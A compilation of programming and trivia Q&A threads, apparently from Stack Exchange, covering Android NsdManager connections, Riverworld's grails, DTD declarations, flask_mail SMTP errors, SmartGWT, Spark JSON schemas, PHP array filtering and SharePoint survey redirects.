I hope you all are Clear with my Code.
and I Really need your help to Solve this problem.
Please Help if Anyone Connect Multiple Device Using NsdManager.
I have Making this application using this Code Referance.
Thanks,
Onik Answer.

*

*Suppose I have 3 Device A1 A2 and A3.while all device successfull register in network and display Devices to Each other.While A1 is Request to Connect with A2 than A2 get pop up for Accept Connection or Decline If A2 Tapped on Connect than This Two Device Connect Successfull.Durinng This Session A3 is also want to Connect with A2 than A3 is Request to Connect With A2 than Again A2 get pop For Connection.
Than Problem Occurs
While A2 Tapped on Connect button than the Previous Connection Will be Losses.
but my Requirement in to Previous Connection Still Remain while A3 connect with A2.

I hope Onik you Are Clear with my Problem.
and
In logCat nothing will be happen.while create new connection logcat will display same as while we connect at Previous connection.


text:
Q: Why are grails not used as source of raw materials on Riverworld? I have just finished reading the first two books in the Riverworld series.  The Grails provide food and few small trinkets for the inhabits.
That the containers are metal seems obvious

"the gray metallic containers" (page 11, To Your Scattered Bodies Go)
"the mushroom-shaped stones, the straps, the gray metallic containers" (page 12, To Your Scattered Bodies Go)
"rectangular container of gray metal" (page 15, To Your Scattered Bodies Go )

The bodies of the dead are used a source of raw materials

"convert human skin into leather"
"Strips of leather, undoubtedly human skin"
"The dead had to be taken to the rendering factory up in the hills, since their fat was used to make glycerin"

When someone dies their grail stops working and becomes just an object.

 "They gave the slave enough to eat because the grail of a dead slave became useless"

But I don't recall any mention of why the grails are not melted down and refined into metal tools and weapons.  The search for raw materials is a major plot point of The Fabulous Riverboat (1971).
When resurrected one always gets a new grail

"Unlike the first time he had been resurrected, he was not weak and bewildered... There was nothing at hand except the grail that always appeared with a resurrectee and the pile of towels of various sizes"

A few minor mentions implied that extra towels are available as resources

"the chain of white towels"

But using the metal of the grail to create weapons does not occur.

"Cyrano had take so long to reconcile himself to the fact that he would never hold a metal sword in his hand again. Then he heard about the meteorite and came here"

Is there a canon reason that grails are not exploited as a source of metal?  While they might not provide sufficient materials for a river boat, they could be used to make tools and weapons.

A: I've found a canon quote from "The Dark Design" (the Third book in the Riverworld series) that answers your question;

"Though the grey metal was as thin as a sheet of newspaper except for
  the base, it was unbendable, unbreakable, and indestructible"

Clearly this substance doesn't conform to the properties of any metal on the (known) periodic table and apparently requires a level of technology to work it that is beyond the capacity of the residents of Riverworld. Even if they could somehow smelt it, the amount of metal that would be gleaned is evidently very small.


text:
Q: why do i have this error element type "message" must not be declared more than once I have this dtd file
<!DOCTYPE messages
[
<!ELEMENT messages (message,contact,group)>
<!ELEMENT message (transmitter,receiver)>
<!ELEMENT message (#PCDATA)>
<!ELEMENT transmitter (#PCDATA)>
<!ATTLIST message type (text|vocal|file) >

<!ELEMENT receiver (#PCDATA)>
<!ELEMENT receiver(contact,group)>
<!ELEMENT contact (contact_name,contact_first_name )>
<!ELEMENT contact_name (#PCDATA)>
<!ELEMENT contact_first_name (#PCDATA)>
<!ELEMENT group(name_group,file_group)>
<!ELEMENT name_group (#PCDATA)>
<!ELEMENT file_group (#PCDATA)>
<!ATTLIST file_group type(text | vocal| file)>
]>

and this is my xml file
my goal is to assign this file to an xml file
<messages>
    <message type="text">
        <transmitter> Brahim </transmitter>
        <receiver>
            <contact>

            </contact>
            <group>

            </group>
         </receiver>
    </message>
    <contact>
        <contact_name> Brahim Elmoctar </contact_name>
        <contact_first_name> TLEIMIDI </contact_first_name>
    </contact>
    <group>
    <name_group> M1SRT</name_group>
    <file_group type="file"> </file_group>
    </group>
</messages>

the xml work fine but when i add the dtd file it's stop working.
can you explain to me why i have this error ?

A: You can't declare an element more than once. For example, you have "message" declared twice:
<!ELEMENT message (transmitter,receiver)>
<!ELEMENT message (#PCDATA)>

If you want message to allow both child elements and PCDATA (referred to as "mixed content") you must declare it a certain way:
<!ELEMENT message (#PCDATA|transmitter|receiver)*>

You'd need to do the same thing with receiver.
If you don't need mixed content, simply remove the "PCDATA" declaration.
There are a few other issues as well...

*

*You have to have a space between the element name and model. For example <!ELEMENT group(name_group,file_group)> should be <!ELEMENT group (name_group,file_group)> (note the space after "group").

*Your enumerations aren't declared correctly for the "type" attributes. You need to either make them #IMPLIED, #REQUIRED, or give them a default value.

Updated example prolog:
<!DOCTYPE messages
[
<!ELEMENT messages (message,contact,group)>
<!ELEMENT message (#PCDATA|transmitter|receiver)*>
<!ELEMENT transmitter (#PCDATA)>
<!ATTLIST message type (text|vocal|file) #REQUIRED>

<!ELEMENT receiver (#PCDATA|contact|group)*>
<!ELEMENT contact (contact_name,contact_first_name )>
<!ELEMENT contact_name (#PCDATA)>
<!ELEMENT contact_first_name (#PCDATA)>
<!ELEMENT group (name_group,file_group)>
<!ELEMENT name_group (#PCDATA)>
<!ELEMENT file_group (#PCDATA)>
<!ATTLIST file_group type (text|vocal|file) #REQUIRED>
]>


text:
Q: flask_mail, mails are stuck on thread and never sent I'm using flask + socketio with ssl, and I'm trying to send mail, but for some reason, sending mail is not working.
Here is my configuration:
app.config['MAIL_SERVER']='smtp.gmail.com'
app.config['MAIL_PORT'] = 465
app.config['MAIL_USERNAME'] = 'xxx@gmail.com'
app.config['MAIL_PASSWORD'] = 'xxx;'
app.config['MAIL_USE_TLS'] = False
app.config['MAIL_USE_SSL'] = True
app.config['DEBUG'] = True

mail=Mail(app)

...
And when I'm using it:
@app.route('/testMail')
def testMail():
    msg = Message(
              'Hello',
           sender='xxx@gmail.com',
           recipients=['xxx@gmail.com'])
    msg.body = "This is the email body"
    mail.send(msg)

    return ""

And here is the error log:

File
  "/usr/local/Cellar/python/2.7.11/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py",
  line 307, in flush
      self._sock.sendall(view[write_offset:write_offset+buffer_size])   File
  "/usr/local/Cellar/python/2.7.11/Frameworks/Python.framework/Versions/2.7/lib/python2.7/ssl.py", line 721, in sendall
      v = self.send(data[count:])   File "/usr/local/Cellar/python/2.7.11/Frameworks/Python.framework/Versions/2.7/lib/python2.7/ssl.py", line 687, in send
      v = self._sslobj.write(data) error: [Errno 32] Broken pipe
...
File "/usr/local/lib/python2.7/site-packages/flask_mail.py", line
  156, in configure_host
      host = smtplib.SMTP_SSL(self.mail.server, self.mail.port)   File "/usr/local/Cellar/python/2.7.11/Frameworks/Python.framework/Versions/2.7/lib/python2.7/smtplib.py",
  line 796, in init
      SMTP.init(self, host, port, local_hostname, timeout)   File "/usr/local/Cellar/python/2.7.11/Frameworks/Python.framework/Versions/2.7/lib/python2.7/smtplib.py",
  line 256, in init
      (code, msg) = self.connect(host, port)   File "/usr/local/Cellar/python/2.7.11/Frameworks/Python.framework/Versions/2.7/lib/python2.7/smtplib.py",
  line 316, in connect
      self.sock = self._get_socket(host, port, self.timeout)   File "/usr/local/Cellar/python/2.7.11/Frameworks/Python.framework/Versions/2.7/lib/python2.7/smtplib.py",
  line 801, in _get_socket
      new_socket = socket.create_connection((host, port), timeout)   File
  "/usr/local/Cellar/python/2.7.11/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py",
  line 575, in create_connection
  raise err error: [Errno 65] No route to host

For some reason, I can't send any email. It seems stuck because of the socketio + ssl wrapping. I've got no idea on how to configure the right way.

A: I had the same issue, if your are working in a virtual machine check the network connection for the ssh port, in my case i work with vagrant, I enabled connection  for the ssh port, this code works to me:
from flask import Flask
from flask_mail import Mail, Message

# object Flask and object Mail

app = Flask(__name__)
#configuration flask to Mail
app.config.update(
             MAIL_SERVER = "smtp.gmail.com",
             MAIL_PORT = 465,
             MAIL_USERNAME = 'xxx@gmail.com',  #user mail
             MAIL_PASSWORD = 'xxx',
             MAIL_USE_TLS = False,
             MAIL_USE_SSL = True,
             MAIL_DEFAULT_SENDER  =  'xxx@gmail.com', #user that will go email)
mail = Mail(app)

@app.route("/index")
def index():
    return "ok"

@app.route("/Test Mail")
def test_mail():
    """route to test email by flask mail."""
    msj = "This is a test to send mail with flask."
    recipients = ["xxxemail@gmail.com"]
    msg_object = Message("hello", recipients)
    msg_object.body = "Hello, this email is a test"
    mail.send(msg_object)
    return "Sent"

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=7000, debug=True)

Also, you should verify if the built-insecurity features in Gmail service may block this login attempt. Log in your account and Visit https://www.google.com/settings/security/lesssecureapps.


text:
Q: SmartGwt DataSource field for Long type Variable One of my property which i want to populate in list grid is of Long type. I am populating my list grid with the data source . But, we dont have any grid field Long type api in smartgwt. plss help me out . Thank you

A: DataSourceIntegerField works with integers of any length, including Java's Longs. Yes, the naming is confusing.


text:
Q: Convert a JSON string to a struct column without schema in Spark Spark: 3.0.0
Scala: 2.12.8
My data frame has a column with JSON string, and I want to create a new column from it with the StructType.

temp_json_string

{"name":"test","id":"12","category":[{"products":["A","B"],"displayName":"test_1","displayLabel":"test1"},{"products":["C"],"displayName":"test_2","displayLabel":"test2"}],"createdAt":"","createdBy":""}

root
 |-- temp_json_string: string (nullable = true)

Formatted JSON:
{
  "name":"test",
  "id":"12",
  "category":[
    {
      "products":[
        "A",
        "B"
      ],
      "displayName":"test_1",
      "displayLabel":"test1"
    },
    {
      "products":[
        "C"
      ],
      "displayName":"test_2",
      "displayLabel":"test2"
    }
  ],
  "createdAt":"",
  "createdBy":""
}

I want to create a new column of type Struct so I tried:
dataFrame
     .withColumn("temp_json_struct", struct(col("temp_json_string")))
     .select("temp_json_struct")

Now, I get the schema as:
root
 |-- temp_json_struct: struct (nullable = false)
 |    |-- temp_json_string: string (nullable = true)

Desired result:
root
 |-- temp_json_struct: struct (nullable = false)
 |    |-- name: string (nullable = true)
 |    |-- category: array (nullable = true)
 |    |    |-- products: array (nullable = true)
 |    |    |-- displayName: string (nullable = true)
 |    |    |-- displayLabel: string (nullable = true)
 |    |-- createdAt: timestamp (nullable = true)
 |    |-- updatedAt: timestamp (nullable = true)

A: json_str_col is the column that has JSON string. I had multiple files so that's why the fist line is iterating through each row to extract the schema. If you know your schema up front then just replace json_schema with that.
json_schema = spark.read.json(df.rdd.map(lambda row: row.json_str_col)).schema
df = df.withColumn('new_col', from_json(col('json_str_col'), json_schema))

A: // import spark implicits for conversion to dataset (.as[String])
import spark.implicits._

val df = ??? //create your dataframe having the 'temp_json_string' column

//convert Dataset[Row] aka Dataframe to Dataset[String]
val ds = df.select("temp_json_string").as[String]

//read as json
spark.read.json(ds)

Documentation

A: There at least two different ways to retrieve/discover the schema for a given JSON.
For the illustration, let's create some data first:
import org.apache.spark.sql.types.StructType

val jsData = Seq(
  ("""{
    "name":"test","id":"12","category":[
    {
      "products":[
        "A",
        "B"
      ],
      "displayName":"test_1",
      "displayLabel":"test1"
    },
    {
      "products":[
        "C"
      ],
      "displayName":"test_2",
      "displayLabel":"test2"
    }
  ],
  "createdAt":"",
  "createdBy":""}""")
)

Option 1: schema_of_json
The first option is to use the built-in function schema_of_json. The function will return the schema for the given JSON in DDL format:
val json = jsData.toDF("js").collect()(0).getString(0)

val ddlSchema: String = spark.sql(s"select schema_of_json('${json}')")
                            .collect()(0) //get 1st row
                            .getString(0) //get 1st col of the row as string
                            .replace("null", "string") //replace type with string, this occurs since you have "createdAt":""

// struct<category:array<struct<displayLabel:string,displayName:string,products:array<string>>>,createdAt:null,createdBy:null,id:string,name:string>

val schema: StructType = StructType.fromDDL(s"js_schema $ddlSchema")

Note that you would expect that schema_of_json would also work on the column level i.e:  schema_of_json(js_col), unfortunately, this doesn't work as expected therefore we are forced to pass a string instead.
Option 2: use Spark JSON reader (recommended)
import org.apache.spark.sql.functions.from_json

val schema: StructType = spark.read.json(jsData.toDS).schema

// schema.printTreeString

// root
//  |-- category: array (nullable = true)
//  |    |-- element: struct (containsNull = true)
//  |    |    |-- displayLabel: string (nullable = true)
//  |    |    |-- displayName: string (nullable = true)
//  |    |    |-- products: array (nullable = true)
//  |    |    |    |-- element: string (containsNull = true)
//  |-- createdAt: string (nullable = true)
//  |-- createdBy: string (nullable = true)
//  |-- id: string (nullable = true)
//  |-- name: string (nullable = true)

As you can see, here we are producing a schema based on StructType and not a DDL string as in the previous case.
After discovering the schema we can move on to the next step which is converting the JSON data into a struct. To achieve that we will use from_json built-in function:
jsData.toDF("js")
      .withColumn("temp_json_struct", from_json($"js", schema))
      .printSchema()

// root
//  |-- js: string (nullable = true)
//  |-- temp_json_struct: struct (nullable = true)
//  |    |-- category: array (nullable = true)
//  |    |    |-- element: struct (containsNull = true)
//  |    |    |    |-- displayLabel: string (nullable = true)
//  |    |    |    |-- displayName: string (nullable = true)
//  |    |    |    |-- products: array (nullable = true)
//  |    |    |    |    |-- element: string (containsNull = true)
//  |    |-- createdAt: string (nullable = true)
//  |    |-- createdBy: string (nullable = true)
//  |    |-- id: string (nullable = true)
//  |    |-- name: string (nullable = true)


text:
Q: PHP | Unset array inside array if that value exist in other array i have two arrays.
Array 1 :
Array
(
    [0] => Array
        (
            [employee_id] => 1
        )

    [1] => Array
        (
            [employee_id] => 2
        )

)

Array 2:
Array
(
    [0] => Array
        (
            [employee_id] => 2
        )

)

what i want is if in Array 1 values exists which in Array 2 exists then unset those arrays from Array 1
in the above example from array 1 the array with employee_id = 2 should be unset. as it exists in Array 2
and Result i would get like
Array
(
    [0] => Array
        (
            [employee_id] => 1
        )
)

A: With this solution you get all the values which are stored in $arr1 as well as in $arr2, but also if they are only in $arr1.
$arr1 = array(
           array('employee_id' => 1),
           array('employee_id' => 3),
           array('employee_id' => 2),
        );
$arr2 = array(
           array('employee_id' => 1),
           array('employee_id' => 2),
           array('employee_id' => 4),
        );

$arr1 = array_intersect($arr1, $arr2);

print_r($arr1);

Outputs
Array
(
    [0] => Array
        (
            [employee_id] => 1
        )

    [1] => Array
        (
            [employee_id] => 3
        )

    [2] => Array
        (
            [employee_id] => 2
        )

)

A: Try this: ($arr1 keeps ONLY what is NOT inside $arr2)
$arr1 = array(
    array(
        'employee_id' => 1
    ),
    array(
        'employee_id' => 2
    )
);

$arr2 = array(
    array(
        'employee_id' => 2
    )
);

for($i = 0; $i < count($arr2); $i++) {
    $employee_id = $arr2[$i]['employee_id'];

    for($j = 0; $j < count($arr1); $j++) {
        if($arr1[$j]['employee_id'] == $employee_id) {
            unset($arr1[$j]);
            break;
        }
    }
}

var_dump($arr1); // outputs: array(1) { [0]=> array(1) { ["employee_id"]=> int(1) } }


text:
Q: PreSaveAction is not firing Any idea why the PreSaveAction is not firing. I am trying to take the user to a thankyou page when they complete a survey. I added this js thru SP Designer to NewForm.aspx.
<script type="text/javascript" src="'/_layouts/jQuery/jquery-1.6.min.js"> </script>
<script type="text/javascript">
$(document).ready(function(){
// old handler:
var buttonID = document.getElementById("ctl00_m_g_f46a290b_d993_4347_a2da_868aff18de82_ctl00_toolBarTbltop_RightRptControls_ctl01_ctl00_diidIOSaveItem");
var oldHandler = function() {
if (!PreSaveItem()) return false;
WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("ctl00_m_g_f46a290b_d993_4347_a2da_868aff18de82_ctl00_toolBarTbltop_RightRptControls_ctl01_ctl00_diidIOSaveItem", "", true, "", "", false, true));
};
// remove old and add new handler:
var newHandler = function() {
if (!PreSaveItem()) return false;

<input type="button" value="Finish" name="Submit" onclick="if (!PreSaveItem()) return false;{ddwrt:GenFireServerEvent('__commit;__redirect={/thankyou.aspx}');}" />

//WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("ctl00_m_g_f46a290b_d993_4347_a2da_868aff18de82_ctl00_toolBarTbltop_RightRptControls_ctl01_ctl00_diidIOSaveItem", "", true, "", "", false, true));
//window.location.replace("/ThankYou.aspx");
return true;
};
$("#ctl00_m_g_f46a290b_d993_4347_a2da_868aff18de82_ctl00_toolBarTbltop_RightRptControls_ctl01_ctl00_diidIOSaveItem").unbind("click", oldHandler).click(newHandler);
});
</script>

A: javascript: {ddwrt:GenFireServerEvent('__commit;__redirect={../../Pages/SurveyWirelessThankYou.aspx}')}

I tried this steps from this link (http://social.msdn.microsoft.com/Forums/nl-BE/sharepoint2010general/thread/77009cb5-4951-427d-8c23-5a75aff74290) and it seems to work. This steps put the above java-script code on the button (click event)

*

*Open survey in SPD, in the page to view and manage setting for the list, click New button on Forms section;

*Enter the filename and select "New item form" as the selected type of form. Check "Set as default form for the selected type". Choose "survey" as the content type

*Click "OK" and a new form is created.

*Open the custom form, delete the default "Finish" button.

*Select "Insert" menu at the top of the page>select "SharePoint" from the ribbon>select "Form Action Button" from the SharePoint controls.

*In the Form Actions, select  the two actions "Commit" and "Navigate to page"

*Select the "Navigate to page" action, click "settings" to set the target page : http://sharepoint/pages/thankyou.aspx

A: The simple solution is to craft a hyperlink to the NewForm page that includes a ?Source querystring parameter to the page you want to end up.  The hyperlink could be modified by a jQuery script to append the query string parameter.  I have an example of that I will try to dig up as a reference.
http://sharepoint.mycompany.com/sites/mysite/lists/survey/NewForm.aspx?Source=http://http://sharepoint.mycompany.com/sites/mysite/Lists/survey/ThankYou.aspx

Edit: Here's the link to the jQuery I was refering to.
<script type="text/javascript">
$(document).ready(function() {
   $("a[href*='NewForm.aspx']").click(function(){
      var curr_URL = document.location.href;
      appendTo_URL = "?Source=" + curr_URL;
      var link_URL = $(this).attr('href');
                //alert(link_URL + appendTo_URL);
      $(this).attr('href', link_URL + appendTo_URL);
   });
});
</script>